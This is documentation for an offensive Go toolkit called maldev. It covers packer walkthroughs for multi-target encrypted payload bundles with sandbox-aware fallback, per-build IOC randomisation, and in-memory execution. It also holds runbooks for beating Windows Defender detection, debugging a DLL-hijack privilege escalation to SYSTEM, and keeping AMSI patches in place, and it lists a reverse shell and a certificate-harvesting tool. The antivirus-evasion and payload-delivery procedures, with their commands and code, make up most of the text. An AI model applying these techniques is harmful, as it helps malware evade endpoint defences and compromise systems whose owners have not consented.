Cover entropy profilemixed Random/Pattern/ZeroAuthor your own CoverOptions with all-JunkFillPattern for a flat-entropy histogram, or all-JunkFillRandom to overwhelm % thresholds
Stub round count35–7 rounds for stronger polymorphism (each round randomizes substitution + register choice) at the cost of stub size

Limitations

Honest reading of where this technique stops working:

  • OEP must lie inside .text. Custom-linker outputs that start in another section return ErrOEPOutsideText. Most Go / C / Rust toolchains comply.
  • TLS callbacks reject. The transform refuses inputs with a populated TLS Data Directory because TLS callbacks run before OEP and would touch encrypted bytes.
  • ELF cover layer PHT-slack constraint lifted (v0.62.0). Go static-PIE binaries (first PT_LOAD at file offset 0) previously caused AddCoverELF / ApplyDefaultCover to return ErrCoverSectionTableFull. The cover layer now relocates the PHT to file-end; the packed binary still runs to clean exit.
  • UPX-like single-binary signature. The CALL+POP+ADD prologue + small entry-rewriting stub matches a well-known shape. Detection-engineering signal: medium-high. Per-build variance comes from the SGN engine (substitution + register + junk insertion), but the structural shape is constant.
  • Fake imports shipped (v0.63.0). ApplyDefaultCover now chains AddFakeImportsPE for PE32+ inputs, adding kernel32/user32/shell32/ole32 IMAGE_IMPORT_DESCRIPTOR entries. A static analyzer walking DataDirectory[1] sees the full merged import table including the fakes.

See also

  • pe/packer tech md — full API Reference for PackBinary, AddCoverPE/ELF, DefaultCoverOptions, ApplyDefaultCover.
  • .dev/refactor-2026/packer-design.md (internal: .dev/packer-design.md) — three-phase design rationale + capability matrix.
  • .dev/refactor-2026/KNOWN-ISSUES-1e.md (internal: .dev/KNOWN-ISSUES-1e.md) — v0.59.0 / v0.60.0 architectural gap post-mortem.
  • Phase 1f reflective loader — alternate operator path that DOES use pe/packer/runtime for in-process reflective load (separate from this example's kernel-loaded UPX-style flow). See the runtime.LoadPE row in the TL;DR table.

Worked example — multi-target bundle (C6)

← examples index · docs/index

Goal

Ship one binary that carries N independent payloads, each matched against a target environment by CPUID vendor + Windows build number. At run time, only the payload matching the host gets decrypted; the others remain as opaque XOR-encrypted blobs in memory and on disk.

This is the v0.67.0-alpha.1 ship of pe/packer.PackBinaryBundle (spec §3 wire format) plus the host-side selection oracle pe/packer.SelectPayload and the operator CLI's new packer bundle subcommand. The runtime stub-side fingerprint evaluator (asm CPUID/PEB read + decryption) is queued for C6-P3 and C6-P4; until it ships, the bundle is a build-host artefact you can author, inspect, and sanity-check today.

Threat model recap

What the bundle achieves now (P1-P2 shipped):

  • A defender who captures the on-disk binary sees N encrypted blobs separated by a small plaintext header + fingerprint table. The fingerprint table reveals only environmental constraints ("payload 0 wants Intel + build ≥ 22000") — never plaintext, OEP, or imports.
  • The blast radius of one extracted payload is limited: each payload has its own random 16-byte XOR key, so a signature derived from one variant does NOT match the others.

What you still need C6-P3+P4 for:

  • The runtime stub that walks the table and picks the right payload. Until that lands, you ship the bundle blob alone (no PE/ELF wrapper) and the target needs an external loader.

Step 1 — Build per-target payloads

Compile one binary per target environment. The bundle is container-agnostic; raw bytes go in.

# Three flavours of the same payload, each tuned for one target.
GOOS=linux  GOARCH=amd64 go build -o /tmp/payload-w11.bin  ./cmd/agent  # Intel + Win11
GOOS=linux  GOARCH=amd64 go build -o /tmp/payload-w10.bin  ./cmd/agent  # AMD + Win10
GOOS=linux  GOARCH=amd64 go build -o /tmp/payload-fallback ./cmd/agent  # catch-all

Step 2 — Pack the bundle (CLI)

packer bundle \
  -out      /tmp/bundle.bin \
  -pl       /tmp/payload-w11.bin:intel:22000-99999 \
  -pl       /tmp/payload-w10.bin:amd:10000-19999 \
  -pl       /tmp/payload-fallback:*:*-* \
  -fallback exit

Spec syntax: <file>:<vendor>:<min>-<max> where vendor{intel | amd | *} and min/max is the inclusive Windows build-number range (* on either side = "no bound"). The -fallback flag controls what the runtime stub does when no predicate matches — exit (silent, default), crash (deliberate fault), or first (always pick payload 0).

Step 3 — Verify the layout

$ packer bundle -inspect /tmp/bundle.bin
bundle /tmp/bundle.bin — 1234567 bytes
  magic=0x56444c4d version=0x1 count=3 fb=0
  fpTable=0x20 plTable=0xb0 data=0x110
  [0] pred=0x03 vendor=GenuineIntel build=[22000, 99999] data=0x110..+412160
  [1] pred=0x03 vendor=AuthenticAMD build=[10000, 19999] data=0x64710..+411904
  [2] pred=0x08 vendor=*            build=[0, 0]         data=0xc7da0..+411520

Magic 0x56444c4d = "MLDV" (little-endian). pred=0x03 = PT_CPUID_VENDOR | PT_WIN_BUILD (both checks AND-combined); pred=0x08 = PT_MATCH_ALL (catch-all).

Step 4 — Build-host preview (Go API)

Operators can preview which payload would fire on a given target without running the binary, using SelectPayload:

package main

import (
    "fmt"
    "log"
    "os"

    "github.com/oioio-space/maldev/pe/packer"
)

func main() {
    bundle, err := os.ReadFile("/tmp/bundle.bin")
    if err != nil { log.Fatal(err) }

    // Simulate target 1: Intel + Windows 11 23H2.
    intel := [12]byte{'G','e','n','u','i','n','e','I','n','t','e','l'}
    if idx, _ := packer.SelectPayload(bundle, intel, 22631); idx >= 0 {
        fmt.Printf("Intel/W11 → payload %d\n", idx)
    }

    // Simulate target 2: AMD + Windows 10 21H2.
    amd := [12]byte{'A','u','t','h','e','n','t','i','c','A','M','D'}
    if idx, _ := packer.SelectPayload(bundle, amd, 19041); idx >= 0 {
        fmt.Printf("AMD/W10 → payload %d\n", idx)
    }

    // Simulate target 3: unknown vendor (sandbox?). Falls to PTMatchAll.
    unknown := [12]byte{'B','o','c','h','s','C','P','U','i','d','x','5'}
    if idx, _ := packer.SelectPayload(bundle, unknown, 9600); idx >= 0 {
        fmt.Printf("unknown → payload %d (catch-all)\n", idx)
    }
}

Output:

Intel/W11 → payload 0
AMD/W10 → payload 1
unknown → payload 2 (catch-all)

If you remove the catch-all entry and re-pack, the unknown target returns idx == -1 — the runtime stub will fall back to the configured -fallback behaviour (clean exit, by default).

Step 5 — Dry-run on the current host (CLI / Go API)

v0.67.0-alpha.2 ships packer.MatchBundleHost — reads the host's CPUID vendor (via the same asm EmitCPUIDVendorRead the runtime stub uses) plus, on Windows, the build number from RtlGetVersion, and runs them through SelectPayload:

$ packer bundle -match payloads.bin
match index=0 host-vendor="GenuineIntel"

Or in Go:

idx, err := packer.MatchBundleHost(bundle)
if err != nil { log.Fatal(err) }
if idx < 0 {
    log.Println("no payload matches this host — runtime stub will fall back")
} else {
    log.Printf("payload %d will fire", idx)
}

This is the build-host preview of what the C6-P3 asm evaluator will do at runtime. Same SelectPayload logic, same byte order, same predicate semantics — useful for sanity-checking your -pl specs against the operator's actual fleet.

packer.HostCPUIDVendor() is the lower-level primitive if you just want the 12-byte vendor string without bundle context.

Step 6 — Wrap into a runnable executable (v0.67.0)

The bundle blob alone is not directly executable — it's just data. Pair it with the cmd/bundle-launcher binary to ship a single self-dispatching .exe:

# Build the launcher once (per OS/arch you target):
$ go build -o bundle-launcher ./cmd/bundle-launcher

# Wrap your bundle into the launcher:
$ packer bundle -wrap bundle-launcher -bundle payloads.bin -out app
bundle wrap: wrote 5 062 138 bytes (5 074 528 launcher + 287 bundle + 16-byte footer) to app
$ chmod +x app

# Ship app — it dispatches at runtime:
$ ./app
   # exec's the matched payload via memfd_create + execve (Linux)
   # or temp file + CreateProcess (Windows)

Or in Go via packer.AppendBundle:

launcher, _ := os.ReadFile("bundle-launcher")
wrapped := packer.AppendBundle(launcher, bundle)
os.WriteFile("app", wrapped, 0o755)

The launcher reads its own bytes at runtime via os.Executable(), locates the embedded bundle by scanning back from the MLDV-END footer (packer.ExtractBundle), runs MatchBundleHost, decrypts only the matched payload, and execs it. No on-disk plaintext on Linux (memfd_create-backed FD passed directly to execve).

Step 6.5 — Per-build secret (Kerckhoffs, v0.73.0)

The default workflow above ships every wrapped binary with the same canonical MLDV magic and MLDV-END footer — fine for tutorials, not fine for operations. The -secret flag derives a unique 4-byte BundleMagic + 8-byte footer pair via SHA-256 from any operator- chosen string, so each deployment ships with its own IOC bytes.

SECRET="my-op-2026-05-09-cycleA"

# Pack with the secret.
packer bundle -out bundle.bin -secret "$SECRET" -pl ...

# Build the launcher with the matching ldflags injection.
go build -ldflags "-X main.bundleSecret=$SECRET" \
  -o bundle-launcher ./cmd/bundle-launcher

# Wrap with the same secret. CLI prints the launcher build line as a hint.
packer bundle -wrap bundle-launcher -bundle bundle.bin \
  -secret "$SECRET" -out app

Wire format stays public (anyone can read the spec). Only the 12 derived bytes are the per-deployment secret. Yara writers can spot "this is a maldev-style bundle" but cannot cluster individual operator builds without the secret in hand.

The full Kerckhoffs treatment lives in docs/techniques/pe/packer.md.

Step 7 — Decrypt one payload (build-host debugging)

UnpackBundle is the inverse of the encryption pass. Use it on the build host to extract a specific payload for analysis or sanity-check:

plaintext, err := packer.UnpackBundle(bundle, 0)  // payload 0 (Intel/W11)
if err != nil { log.Fatal(err) }
os.WriteFile("/tmp/recovered-w11.bin", plaintext, 0o644)

The recovered bytes are byte-identical to the original payload-w11.bin you fed into PackBinaryBundle.

NOT a runtime helper. The on-disk per-payload XOR key is trivially reversible once an attacker has the bundle blob. The runtime stub (C6-P3) re-derives the same key in asm after the fingerprint match — no plaintext key crosses the Go heap unless the predicate matched.

Programmatic equivalent (no CLI)

intel := [12]byte{'G','e','n','u','i','n','e','I','n','t','e','l'}
amd   := [12]byte{'A','u','t','h','e','n','t','i','c','A','M','D'}

bundle, err := packer.PackBinaryBundle([]packer.BundlePayload{
    {Binary: payloadW11, Fingerprint: packer.FingerprintPredicate{
        PredicateType: packer.PTCPUIDVendor | packer.PTWinBuild,
        VendorString:  intel,
        BuildMin:      22000, BuildMax: 99999,
    }},
    {Binary: payloadW10, Fingerprint: packer.FingerprintPredicate{
        PredicateType: packer.PTCPUIDVendor | packer.PTWinBuild,
        VendorString:  amd,
        BuildMin:      10000, BuildMax: 19999,
    }},
    {Binary: payloadFallback, Fingerprint: packer.FingerprintPredicate{
        PredicateType: packer.PTMatchAll,
    }},
}, packer.BundleOptions{FallbackBehaviour: packer.BundleFallbackExit})

Limitations (current shipping state)

  • No runtime stub yet. The bundle is a flat blob; you can inspect / decrypt it on the build host but not yet exec it directly. C6-P3 (asm fingerprint evaluator) and C6-P4 (PE/ELF wrapping with bundle entry-point) close this gap.
  • XOR-rolling cipher only. Per spec §9 Q8, the v1 wire format uses XOR with a 16-byte rolling key. A stronger design would derive the key from the fingerprint result so it never lives on disk; deferred to C6-phase-2.
  • Plaintext fingerprint table. The predicates themselves reveal which environments are targets. Operators who want to hide that signal can pad with decoy entries that point to random-noise payloads.
  • CPUID vendor + Windows build only. Spec §4 leaves room for more predicate types (CPUID feature mask, RDTSC timing, …); none are wired through SelectPayload yet beyond what the wire format allows.

See also

Worked example — Packer Elevation Tour (v0.66 → v0.70)

← examples index · docs/index

What this is

A guided side-by-side tour of every packer mode the maldev project ships, from the original v0.61 PE/ELF in-place transform to the v0.69 318-byte all-asm bundle. Run the snippets against a single toy payload (exit 42 shellcode) and watch the resulting binary sizes and on-disk artefacts evolve.

Aimed at someone learning what these techniques actually cost and what they actually give.

The fixture: a 12-byte shellcode

Every variant below packs the same minimal Linux x86-64 shellcode:

xor edi, edi    ; clear arg
mov dil, 42     ; arg = 42
mov eax, 60     ; sys_exit
syscall

12 bytes, calls _exit(42). Succeeding runs are visible by checking $?.

Variant 1 — transform.BuildMinimalELF64 (raw)

Just wrap the shellcode in a kernel-loadable ELF, no packer logic.

out, _ := transform.BuildMinimalELF64(exit42Shellcode)
os.WriteFile("v1-raw", out, 0o755)
// 132 bytes — the canonical Brian-Raiter "tiny ELF" shape.
AttributeValue
Total size132 B
Stub asm0 (none)
Encryptionnone
.text RWXyes (single PT_LOAD)
Process tree1 binary
/proc/self/mapsone anonymous-ish PT_LOAD
PedagogyBrian Raiter (2002): the smallest legal ELF

Variant 2 — WrapBundleAsExecutableLinux (all-asm)

bundle, _ := packer.PackBinaryBundle(
    []packer.BundlePayload{{
        Binary: exit42Shellcode,
        Fingerprint: packer.FingerprintPredicate{
            PredicateType: packer.PTMatchAll,
        },
    }},
    packer.BundleOptions{},
)
out, _ := packer.WrapBundleAsExecutableLinux(bundle)
os.WriteFile("v2-allasm", out, 0o755)
// v0.72.0: 441 bytes for 1-payload PTMatchAll, 548 bytes for a real
// 2-payload Intel-vs-AMD vendor-aware dispatch.
AttributeValue
Total size (1-payload)441 B
Total size (2-payload vendor-aware)548 B
Stub asm160 B hand-rolled (PIC + CPUID + scan loop + 12-B vendor compare + XOR-decrypt + JMP)
EncryptionXOR rolling 16-byte key
Predicate evalPT_MATCH_ALL + PT_CPUID_VENDOR (with all-zero = wildcard)
.text RWXyes (single PT_LOAD)
Process tree1 binary
/proc/self/mapsone PT_LOAD
Pedagogyreal multi-target asm dispatch

The 548-byte 2-payload bundle breaks down as:

  120 B  ELF header + lone PT_LOAD Phdr
  160 B  stub asm (PIC + CPUID + scan loop + decrypt + jmp)
   32 B  BundleHeader
   96 B  2 × FingerprintEntry (PTCPUIDVendor each)
   64 B  2 × PayloadEntry     (DataRVA + DataSize + 16-byte key)
   ~76 B  encrypted payload data + small struct alignment
  ─────
  ~548 B

That's ~14× smaller than the 7.6 KiB minimum for a bare gcc -static -no-pie hello-world, while doing real CPUID dispatch across two target predicates. The trade-off: payload must be position-independent shellcode (the stub jumps directly into it; PE/ELF headers would crash).

Variant 3 — cmd/bundle-launcher + AppendBundle (Go runtime)

$ go build -o bundle-launcher ./cmd/bundle-launcher
$ packer bundle -wrap bundle-launcher -bundle v2-allasm-bundle-blob.bin -out v3-go
AttributeValue
Total size~5 MB (Go runtime baseline)
StubGo runtime — not asm
EncryptionXOR rolling 16-byte key
Predicate evalfull (CPUID + Win build + Negate)
Fallback modesExit / First / Crash
Process tree2 binaries (launcher → execve payload)
/proc/self/mapsshows /tmp/.../bundle-payload-* for the matched payload
Pedagogythe operator-friendly path: full feature set, slow/loud

Variant 4 — cmd/bundle-launcher reflective (MALDEV_REFLECTIVE=1)

$ MALDEV_REFLECTIVE=1 ./v3-go

Same 5 MB binary, different dispatch mode. The matched payload gets mapped into the launcher's address space via pe/packer/runtime.Prepare and entered on a fake kernel stack. No fork, no execve, no temp file.

AttributeValue
Total size~5 MB
StubGo runtime + asm trampoline
Predicate evalfull (CPUID + Win build + Negate)
Process tree1 binary (no execve)
/proc/self/mapsanonymous regions for the payload
Pedagogyreflective loading done right — auxv patching, segment mapping, RELATIVE relocs

Side-by-side at a glance

VariantSizeStubPredicateProc treeDisk artefact
1 — raw min-ELF132 Bnonenone1none
2 — all-asm bundle (1 entry)441 B160 B asmPT_MATCH_ALL + PT_CPUID_VENDOR1none
2 — all-asm bundle (2 entries, vendor)548 B160 B asmPT_MATCH_ALL + PT_CPUID_VENDOR1none
3 — Go launcher (default)~5 MBGofull (incl. PT_WIN_BUILD + Negate)2temp file
4 — Go launcher reflective~5 MBGo + asmfull1none

Trade-off curve: variant 2 wins binary size and OPSEC at the cost of predicate evaluation; variant 4 wins everything except size; variant 3 is the most operator-friendly default.

Visualising

cmd/packer-vis (v0.70.0) renders both the entropy of any of these binaries and the bundle wire format:

$ packer-vis entropy v1-raw     # 132-byte file, all near-min entropy bins
$ packer-vis entropy v2-allasm  # the encrypted 12-byte payload region
                                # shows up as a high-entropy ▆▇█ smear

$ packer-vis bundle bundle-blob.bin
  bundle.bin
  256 bytes | magic=0x56444c4d version=0x1 count=2 fallback=0

  ┌─ BundleHeader ─────────────────────────────────────┐
  │ 0x00..0x20  magic + version + count + offsets     │
  │            fpTable=0x20    plTable=0x80    data=0xc0 │
  └────────────────────────────────────────────────────┘

  ┌─ [0] FingerprintEntry @ 0x20 ────────────────────┐
  │ predType=0x01  vendor="GenuineIntel"  build=[22000, 99999] │
  └────────────────────────────────────────────────────┘
  ...

Limitations recap

  • Variant 2 (all-asm) selects payload 0 unconditionally today. The full CPUID+PEB evaluator is queued (EmitVendorCompare and EmitBuildRangeCheck primitives are already in tree) — drops in without changing WrapBundleAsExecutableLinux's public signature.
  • Variant 2's payload must be raw position-independent shellcode. PE/ELF payloads need variant 3 or 4.
  • Windows symmetry of the all-asm path (a MinimalPE32Plus writer
    • Windows fingerprint dispatch) is queued for a future minor.

See also

Runnable examples

Tutorial binaries under examples/ in the repo — each one builds a small chain of maldev packages and demonstrates a single technique end-to-end. Cross-link the markdown pages in this section (docs/examples/*.md) with the binary you want to actually compile and run.

The full catalogue with one-line descriptions, technique mapping, and a "What it demonstrates" column lives in the repo at examples/README.md.

Naming convention

<domain>-<technique> to align with docs/techniques/<domain>/<technique>.md. Operators reading the technique page in this handbook see a direct pointer to the runnable companion.

Highlights

  • privesc-dll-hijack — full chain from lowuser shell to NT AUTHORITY\SYSTEM via DLL hijack, with packer + AMSI bypass + preset.Aggressive evasion stack. Ships its own README walkthrough.
  • packer-tour — every packer mode (Mode 1 EXE+SGN, Mode 6 shellcode-self-exec, Mode 7 DLL+SGN+LZ4, Mode 8 EXE→DLL convert, Mode 10 proxy DLL).
  • syscall-matrix — same routine run through wsyscall.MethodWinAPI, MethodNative, MethodDirect, MethodIndirect; useful as a base for measuring per-method telemetry.

Building

GOOS=windows GOARCH=amd64 go build -o /tmp/example.exe ./examples/<name>

Adding a new example

See the "Adding a new example" section in examples/README.md.

Runbooks — when things go wrong

Difference from the Cookbook recipes: the Cookbook shows how to build; runbooks show what to do when something breaks in the field. They are diagnostic decision trees with concrete next steps, format inspired by SRE incident playbooks and Pagerduty runbooks.

Each runbook is structured: Symptom → Most likely causes → Step- by-step diagnostic → Mitigation. Skim the symptom, identify the cause, follow the steps.

When to read a runbook

You're mid-engagement (or mid-test) and something doesn't behave as the Cookbook said it would. The runbook is the page you wish you had during the incident — written by someone who already saw it.

Index

SymptomRunbook
Packed binary detected by Defender at write-to-diskDefender catch on dropper
LoadLibrary("hijackme.dll") succeeds but my payload didn't runDLL hijack succeeded but silent
amsi.PatchAll returns nil, AMSI still scans my Assembly.LoadAMSI re-armed mid-flight

Conventions

Every runbook follows the same shape:

# <Symptom in operator's words>

## When you see this

Concrete observable signal that matches this runbook.

## Most likely causes (ranked)

1. Cause A — short explanation, % frequency from past incidents.
2. Cause B — …

## Diagnostic steps

Numbered, executable. Each step has a clear pass/fail next-pointer.

## Mitigation

The fix(es) ordered by cost (cheapest first).

## Prevention

How to avoid the same symptom in the next engagement.

Adding a runbook

  1. Write the symptom in operator's words first (this is the page title and what someone searching the docs at 2 AM will type).
  2. Capture concrete observable signals — log lines, error messages, defender events.
  3. Order causes by past-incident frequency, not theoretical likeliness.
  4. Each diagnostic step should have a pass: … / fail: … pointer.
  5. Cross-link the matching docs/techniques/ page for the deep technical explanation.

Defender catch on dropper

When you see this

You drop the packed binary on the target host and Windows Defender quarantines it within seconds, before any code runs. You see one of:

  • Trojan:Win32/Wacatac.B!ml (Defender ML signature — generic).
  • Trojan:Win32/Meterpreter (your shellcode payload was sigged).
  • The file vanishes between scp finishing and your trigger.
  • Get-MpThreatDetection on the target lists the binary.

Most likely causes (ranked)

  1. String-based signature on the Go runtime (≈40%) — Go binaries leak ~20 KB of pclntab + import strings even after packing if you didn't run garble / strip first.
  2. The packer's stub itself is now sigged (≈25%) — the SGN decoder body is small and has been seen in the wild long enough for ML models to learn it. Default stub is the baseline signal.
  3. Authenticode / cert mismatch (≈15%) — your packed binary claims a SECURITY directory pointing into garbage. Defender treats "signed-but-tampered" as a strong tell.
  4. Sandbox detonation (≈10%) — if Defender's cloud submitted the file, it might have run and observed the payload doing suspicious things. Mostly preventable by anti-sandbox checks.
  5. Network metadata (≈5%) — your C2 URL or shellcode hash is already in MS threat intel.
  6. Other (≈5%) — IOC the team carries from a previous engagement.

Diagnostic steps

  1. Strip the Go-ness first. Run strings packed.exe | grep -ic go.
    • pass (< 50 hits): not the cause, go to step 2.
    • fail (≥ 50): rebuild with garble build (see opsec-build.md) and re-pack. Retry.
  2. Test on a Defender-only VM with cloud-protection off. Drop the file. Wait 30 s.
    • pass (not flagged): cause is cloud submission / behavioural, not on-disk signature. Go to step 4.
    • fail (still flagged): it's an on-disk static signature. Go to step 3.
  3. Mutate the stub. Re-pack with -randomize-stub-section-name (already default since v0.135.0 — KeepDefaultStubSectionName: false). Also try -compress to change the section-size signature.
    • pass: signature was on section names or size. Done.
    • fail: signature is on the stub body itself. Go to step 5.
  4. Disable behavioural triggers in the payload. Comment out the AMSI/ETW patches, re-pack, re-drop.
    • pass (not flagged): cloud submitted and saw evasion calls. Hide them behind sleep or unhook first (sleep-mask).
    • fail: it's not behavioural either.
  5. Mutate the SGN rounds. Default is 3 rounds. Try -rounds 5 or -rounds 1 to see if the signature is keyed on the iteration count.
  6. Last resort: cert preservation. Set PreserveAuthenticodeDirectory: true — sometimes Defender weights "no cert" against the binary. (Counter-intuitive but measurable.) See pe/cert.

Mitigation

Ordered cheapest first:

  1. garble build + strip Go pclntab (opsec-build).
  2. RandomizeAll: true in PackBinaryOptions.
  3. Donor-cert from a legitimate signed binary (masquerade).
  4. Switch to Mode 8 (EXE→DLL) + rundll32 invocation — different load path, different signatures.
  5. Compose unhook.CommonClassic BEFORE any AMSI/ETW patches — defeats Defender's amsi.dll hook scanner.

Prevention

  • Run clamscan and Defender on a clean VM BEFORE field-deploy. See opsec-build.md Quick Start.
  • Use preset.Aggressive for evasion stacking (preset).
  • Rotate seeds (Seed: <random>) per engagement to keep hash-based signatures from matching.

DLL hijack succeeded but silent

When you see this

You planted hijackme.dll in the writable target directory, the SYSTEM-context process (scheduled task / service) loaded it successfully (you see the LoadLibrary in Procmon / ETW), but your payload never wrote its marker file or never connected back to C2. No crash, no Defender event, just silence.

Most likely causes (ranked)

  1. DllMain returned TRUE but the spawned OEP thread crashed silently (≈45%) — most common. The Go runtime aborts on init failure without exception bubbling to the host process.
  2. Marker write path requires permissions the SYSTEM context doesn't have (≈20%) — yes, SYSTEM can be denied (Mandatory Integrity Level mismatch on certain HKCU paths, or AppLocker block on the marker directory).
  3. DLL host (victim.exe) exits before the OEP thread flushes the marker (≈15%) — race we hit during 1.B.2 development; victim sleeps 5 s post-LoadLibrary to give the thread time.
  4. PEB.CommandLine patch corrupted host loader state (≈10%) — the symptom was the canonical 0x000C000B bug fixed in the label-collision ADR. Should be a non-issue post-v0.135.0.
  5. Defender silently terminated the spawned thread (≈10%) — no quarantine event, no logged catch, just thread death.

Diagnostic steps

  1. Add a stdout breadcrumb at the very first line of the OEP. Open examples/privesc-dll-hijack/probe/main.go, add fmt.Println("OEP reached") as line 2 of main(). Re-pack. Re-drop. Watch the victim's stdout (schtasks /Query /v → note the action stdout path).
    • pass (you see "OEP reached"): step 2.
    • fail: thread didn't reach OEP — cause is the spawn block itself. Check the RunWithArgs export godoc for the ERROR_INVALID_HANDLE diagnostic chain.
  2. Add a write to a writable-by-everyone path. Replace the marker write with one to C:\Users\Public\maldev-debug.txt.
    • pass (file appears): your marker dir wasn't writable. Re-plant via icacls C:\ProgramData\maldev-marker /grant Everyone:F.
    • fail (no file): host process is dying before flush. Step 3.
  3. Force the host to stay alive. Insert time.Sleep(30 * time.Second) in examples/privesc-dll-hijack/victim/victim.c right after LoadLibrary. Recompile victim, re-deploy.
    • pass (marker shows up): race condition. Keep the sleep in prod or use the WaitForSingleObject pattern in RunWithArgs (see ADR-0001 caller pattern).
    • fail: thread is being killed externally. Step 4.
  4. Check Defender's behavioural log. On the target: Get-MpThreatDetection | Select Resources, InitialDetectionTime and Get-WinEvent -LogName Microsoft-Windows-Windows Defender/Operational -MaxEvents 50.
    • pass (defender entry): you're being caught by behavioural analysis. Follow defender-catch.
    • fail (nothing): step 5.
  5. Attach ProcMon (procmon.exe) with filter on victim's PID. Look for Thread Exit with non-zero exit code.
    • non-zero exit: Go init failure. Compile probe with GOOS=windows go build -gcflags="all=-N -l" for unstripped stack traces.
    • clean exit: marker dir was unwritable even though step 2 said writable. Re-check ACL.

Mitigation

Ordered cheapest first:

  1. Verify the marker dir ACL grants Modify rights to the SYSTEM context (NOT just Read).
  2. Add 5-second victim sleep post-LoadLibrary (it's already the examples/privesc-dll-hijack/victim/victim.c default since slice 9.8.a).
  3. Pre-flush the probe's stdout buffer: fmt.Println then os.Stdout.Sync().
  4. Use Caller=MethodIndirect to dodge Defender's kernel32.LoadLibrary hook.

Prevention

  • Always add an "I started" breadcrumb at the OEP that writes to a path outside your final marker dir. Two write sites = two diagnostic anchors.
  • Use the examples/privesc-dll-hijack/ chain as a golden reference; deviate one thing at a time.

AMSI re-armed mid-flight

When you see this

You called amsi.PatchAll(caller) at process start (it returned nil), but a later Assembly.Load / PowerShell IEX still triggers Defender on a payload that should now bypass AMSI. The patch silently became ineffective.

Most likely causes (ranked)

  1. amsi.dll was re-mapped or reloaded after the patch (≈50%) — LoadLibrary("amsi.dll") post-patch can map a fresh copy if the original handle was closed; the new copy has unpatched bytes.
  2. A new process inherited from the patched one (≈25%) — AMSI patches are per-process, not per-token. Spawning PowerShell via CreateProcess gets a clean amsi.dll.
  3. Defender pushed a WerFault.exe-style recovery (≈10%) — modern Defender can re-protect AMSI in monitored processes via a kernel callback writing back the original bytes.
  4. Wrong process was patched (≈10%) — your evasion stack ran in the launcher, but the clr.LoadAndExecute spawned a child that did the loading.
  5. AMSI provider chain has more than Defender (≈5%) — third- party AV registered its own COM provider, untouched by your AmsiScanBuffer patch.

Diagnostic steps

  1. Check the patched bytes are still in place. Read the first 3 bytes of AmsiScanBuffer and compare to 31 C0 C3.
    addr, _ := windows.LoadLibrary("amsi.dll")
    proc, _ := windows.GetProcAddress(addr, "AmsiScanBuffer")
    var bytes [3]byte
    // ReadProcessMemory on own PID via wsyscall.Caller
    if bytes != [3]byte{0x31, 0xC0, 0xC3} {
        // re-arm detected
    }
    
    • bytes match: AMSI patch is intact; cause is elsewhere (probably step 4). Continue to step 4.
    • bytes differ: AMSI was re-armed. Step 2.
  2. Check amsi.dll base address. Has it changed since the original patch? Capture base at patch time, compare now.
    • same base: the bytes were rewritten in place (Defender kernel-callback or anti-tamper). Mitigation: see step 6.
    • different base: a fresh map happened. Patch again now and consider lazy re-patching on every COM call.
  3. Check for additional providers. Enumerate HKLM\SOFTWARE\Microsoft\AMSI\Providers\*. Each subkey is a CLSID of another provider DLL.
    • if there are non-Defender providers: those are bypassing amsi.dll entirely. Step 5.
  4. Capture the loader child PID. When clr.LoadAndExecute spawns a sub-process, get its PID and check Defender for detection events on that PID, not yours.
    • match: confirmed cause #2. See mitigation #2.
  5. Manual patching of provider DLLs (last resort) — same prologue trick on the registered provider's Scan function. See evasion/amsi godoc.

Mitigation

  1. Re-patch periodically. Wrap suspicious calls with amsi.PatchAll(caller) immediately before them. Patches are idempotent (ADR-0002).
  2. Patch every child you spawn. If your launcher chains to PowerShell, inject evasion/amsi.PatchAll before the script runs (PowerShell host process).
  3. Compose unhook first (see ntdll-unhooking). Defender's behavioural counters depend on ntdll hooks; remove them and you reduce the chance of re-arm.
  4. Use preset.Aggressive which adds ACG + BlockDLLs to prevent later amsi.dll reloads.

Prevention

  • Always defer a re-patch after any LoadLibrary you make.
  • Verify the patch is alive before any high-value AMSI call (the cost is 3 bytes of read, negligible).
  • Avoid spawning child processes for sensitive operations — prefer in-process injection or reflective load.

CLI tools

The cmd/ tree ships 6 operator binaries + a handful of research / dev / CI helpers. Most users only need the operator binaries — the rest exist to support packer research, in-VM testing, and CI workflows.

Operator binaries

Build them with go build -o <name> ./cmd/<name>; pass -h for the live flag set. Cross-compile with GOOS=windows GOARCH=amd64 as usual.

ToolOne-liner
packerPack / unpack / bundle PE + ELF payloads with the SGN+LZ4 stub.
bundle-launcherRuntime dispatcher for packer bundle multi-target blobs.
bof-runnerStandalone runner for Cobalt-Strike-compatible Beacon Object Files.
cert-snapshotHarvest donor Authenticode certificates for masquerade builds.
rshellMinimal reverse shell over c2/shell + c2/transport.
sleepmask-demoDemo harness comparing sleep masks under a concurrent scanner. (research)

Research & dev helpers

Tools that don't belong on a target. Consolidated on a single page to keep the navigation honest:

  • Research & dev helperspacker-vis, packerscope, the three-binary memscan stack, hashgen, vmtest, test-report.

Conventions

  • Every CLI accepts -h / -help and prints a one-screen usage.
  • File-path arguments are positional when there is one obvious in/out; otherwise named flags (-in, -out).
  • Verbose mode is -v (never -verbose).
  • Each main.go carries a header docstring with the intent + an example; the per-tool page recaptures it and pins the flag set.

packer

Pack, unpack, and bundle PE/ELF payloads with the SGN+LZ4 stub.

Source: cmd/packer/ · godoc: pkg.go.dev/…/cmd/packer Audience: operator · Platforms: Windows + Linux output, builds on any host

Synopsis

packer pack    -in <file> -out <file> -format <blob|windows-exe|linux-elf> [options]
packer unpack  -in <file> -out <file> -key <hex32>
packer bundle  -out <file> -pl <file>:<vendor>:<min>-<max> [-pl ...] [-fallback exit|crash|first]
packer bundle  -wrap <launcher> -bundle <blob> -out <exe>

Subcommands

pack

Wraps pe/packer.PackBinary. Produces a runnable binary that decrypts and executes the original payload in-memory.

FlagDefaultMeaning
-inInput payload (PE or ELF).
-outPacked output path.
-formatblobblob = raw encrypted blob (key to stdout). windows-exe / linux-elf = self-running stub-wrapped binary.
-keyrandom32-byte AEAD key (hex).
-keyoutstdoutWrite key to file instead of stdout.
-rounds3SGN polymorphic rounds (windows-exe / linux-elf).
-seedrandomDecoder seed; pin for reproducible builds.
-compressoffLZ4 the payload before encryption.
-antidebugoffEmbed anti-debug checks in the stub.
-randomizeoffRandomise section names + stub layout.

unpack

Inverse of pack -format blob. Reads the blob, decrypts with -key, writes the original payload to -out.

bundle

Multi-target dispatch — one blob holds N payloads, each matched by CPUID vendor + Windows build range at runtime.

-pl <file>:<vendor>:<min>-<max>     # vendor: intel | amd | *   range: <num>-<num> or *-*
-fallback exit|crash|first          # behaviour when no entry matches

Wrap into a runnable executable via -wrap <bundle-launcher.exe>.

Build

go build -o packer ./cmd/packer

Examples

